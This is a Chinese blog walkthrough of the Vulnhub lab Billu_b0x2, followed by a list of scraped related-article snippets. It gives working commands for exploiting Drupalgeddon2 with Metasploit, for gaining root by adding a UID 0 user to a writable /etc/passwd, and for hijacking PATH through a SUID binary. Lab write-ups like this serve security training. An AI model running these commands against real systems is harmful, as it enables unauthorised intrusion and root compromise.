个人博客阅读体验更佳

本次来试玩一下vulnhub上的Billu_b0x2,下载地址

下载下来后是 .ova 格式,建议使用vitualbox进行搭建,vmware可能存在兼容性问题。靶场推荐使用NAT(共享)模式,桥接模式可能会造成目标过多不易识别。


IP

win7: 192.168.31.44
kali: 192.168.31.17
靶机: 192.168.31.132


信息搜集

主机发现得到靶机ip,接着进行端口扫描

nmap -sV -A -p- 192.168.31.132

开放了22, 80, 111, 8080, 55532端口
80端口还扫出了部分目录。

网页登上去看一眼

出了一个搜索框和login其他没有什么要素了。
接着御剑扫一下,扫出了80端口下的robots.txt,根据其中的提示进行文件遍历,web.config并没有有用的信息,最终在README.txt中找到/core/install.php,告诉我们具体的CMS版本号是Drupal 8.3.5
8080端口有一个/manager的401登录


渗透过程

由于看到了login, 点进去瞄一眼,有登录、注册、重置三个窗口,重置需要发送邮件显然没有着手点,登录尝试sql注入无果,弱密码爆破无果。注册发现有图片上传,先测试一下注册一个普通用户,但这个靶场环境没有邮件服务器无法注册成功,而且上传的图片也没有路径提示(后来webshell连上去才发现路径在/var/www/html/sites/default/files/pictures/[data]/下)。
这三个地方都无法入手,后来才想到Drupal7.x和8.x都有致命bug(CVE-2018-7600CVE-2018-7602)
或者直接在msf中搜索漏洞

$ msfconsole
$ search drupal
$ use exploit/unix/webapp/drupal_drupalgeddon2 # use 1
$ set rhosts 192.168.31.132
$ exploit


提权

- 方法一

看到ubuntu 14.04想到直接脏牛提权,但不知道为什么各种内核漏洞提权都失效了。
发现/etc/passwd拥有777权限,尝试添加一个最高权限的admin用户,直接切过去即可

需要用到openssl生成一个hash加密的密码

$ openssl passwd -1 -salt admin 123456

在/etc/passwd最后追加一行用户信息

$ admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0:::/bin/bash

直接su admin输入密码123456即可提权成功

方法二

查看哪些文件有SUID权限

$ find / -perm -4000 -type f 2>/dev/null

发现/opt/s很可疑,strings看一下二进制命令,发现是scp命令使用了root权限

$ strings /opt/s

因此可以自己伪造一个假的scp命令,然后添加到环境变量让他执行。

$ cd /tmp
$ echo "/bin/bash" > scp
$ chmod +x scp
$ echo $PATH
$ export PATH=/tmp:$PATH
$ cd /opt
$ ./s


补充:

环境变量提权见此

整体提权原理: 通过发现/opt/s拥有SUID权限,则其运行时进程并不属于发起者,而是文件所有者,这里是root。strings查看二进制发现s以root运行了scp这个命令,但是没有指定具体的文件路径,因此可以伪造一个假的scp并添加到环境变量,让s去以root运行/tmp中的假的scp,而假的scp中又写入了我们写的/bin/bash,相当于直接运行了sudo /bin/bash

Billu_b0x2内网渗透(多种提权方法)靶场-vulnhub的更多相关文章

  1. metasploit下Windows的多种提权方法

    metasploit下Windows的多种提权方法 前言 当你在爱害者的机器上执行一些操作时,发现有一些操作被拒绝执行,为了获得受害机器的完全权限,你需要绕过限制,获取本来没有的一些权限,这些权限可以 ...

  2. 内网渗透 day8-linux提权和后门植入

    linux提权和后门植入 目录 1. 脏牛漏洞复现 3 (1) 去网上把代码复制然后touch一个.c文件,vi或者vim打开将代码复制进去保存 3 (2) 进入shell然后从kali开的apach ...

  3. 内网渗透 - 提权 - Windows

    MS提权 MS16- MS16- 提权框架 Sherlock 信息收集 ifconfig -a cat /etc/hosts arp -a route -n cat /proc/net/* ping扫 ...

  4. Linux内网渗透

    Linux虽然没有域环境,但是当我们拿到一台Linux 系统权限,难道只进行一下提权,捕获一下敏感信息就结束了吗?显然不只是这样的.本片文章将从拿到一个Linux shell开始,介绍Linux内网渗 ...

  5. 内网渗透测试思路-FREEBUF

    (在拿到webshell的时候,想办法获取系统信息拿到系统权限) 一.通过常规web渗透,已经拿到webshell.那么接下来作重要的就是探测系统信息,提权,针对windows想办法开启远程桌面连接, ...

  6. 小白日记21:kali渗透测试之提权(一)--本地提权

    本地提权 简单地说,本地提权漏洞就是说一个本来非常低权限.受限制的用户,可以提升到系统至高无上的权限.权限提升漏洞通常是一种"辅助"性质的漏洞,当黑客已经通过某种手段进入了目标机器 ...

  7. [原创]K8飞刀20150725 支持SOCKS5代理(内网渗透)

    工具: K8飞刀编译: 自己查壳组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http://qqhack8.blog.163.com发布: 2015/7/26 3:41:11 简介: ...

  8. 3.内网渗透之reGeorg+Proxifier

    aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAxIAAAE2CAIAAAB6BDOVAAAgAElEQVR4Aey9Z5Aex3X327MRGVzkRH ...

  9. 【CTF】msf和impacket联合拿域控内网渗透-拿域控

    前言 掌控安全里面的靶场内网渗透,练练手! 内网渗透拿域控 环境:http://afsgr16-b1ferw.aqlab.cn/?id=1 1.进去一看,典型的sql注入 2.测试了一下,可以爆库,也 ...

随机推荐

  1. 基于源码编译的lnmp架构实现论坛的搭建及memcache的应用

    系统环境: RHEL6 x86-64 selinux and iptables disabled LNMP代表的就是:Linux系统下Nginx+MySQL+PHP这种网站服务器架构 Linux是一类 ...

  2. 使用 baget 搭建私有 nuget 私有服务

    现在几乎所有语言都提供包管理工具,比如 JavaScript 的 npm ,Java 的 Maven ,Dart 的 pub ..Net 程序当然是 NuGet .NuGet 也出现很多年了,奇怪的是 ...

  3. .Net性能调优-MemoryPool

    简单用法 //获取MemoryPool实例,实际返回了一个ArrayMemoryPool<T> MemoryPool<char> Pool = MemoryPool<ch ...

  4. .NET 6 RC1 正式发布

    昨天晚上微软发布了.NET 6的两个RC版本中的第一个版本,该版本将于11月正式发布,作为在开源MIT协议下整合所有不同的.NET开发模组件的开源跨平台实现.这是一个从2014年开始,持续多年的,以改 ...

  5. Oracle体系结构二

  6. 图论---DFS

    图论---DFS 1. 图的遍历 在理解DFS算法之前,我们首先需要对什么是遍历进行了解,遍历的概念就是:从某一个点出发(一般是首或尾),依次将数据结构中的每一个数据访问且只访问一遍. 2. DFS简 ...

  7. Java多线程-1(3)

    本份随记主要为狂神老师的Java多线程教学的学习笔记,记载了视频中一些有关基础概念以及部分代码示例.随机分为1-3共三份,知识点记录的不是很深入,以后的学习过程中随时补充. 1 有关基础概念 1.1 ...

  8. Stage 1 项目需求分析报告

    迷你商城后台管理系统-- 需求分析 1. 引言 作为互联网热潮的崛起,消费者们的普遍差异化,实体商城要想在互联网的浪潮中继续发展,就需要制定出针对用户以及消费者的消费习惯以及喜爱品种的消费方案.从而企 ...

  9. PHP的内置WEB服务器

    在很多时候,我们需要简单的运行一个小 demo 来验证一些代码或者轮子是否可用,是否可以运行起来,但是去配 nginx 或者 apache 都很麻烦,其实,PHP CLI 已经提供了一个简单的测试服务 ...

  10. CURL的模拟登录和抓取页面

    <?php $curl = curl_init();// 初始化 // 准备提交的表单数据之账号和密码.(这个是根据表单选项来的) $data = "_username=6049892 ...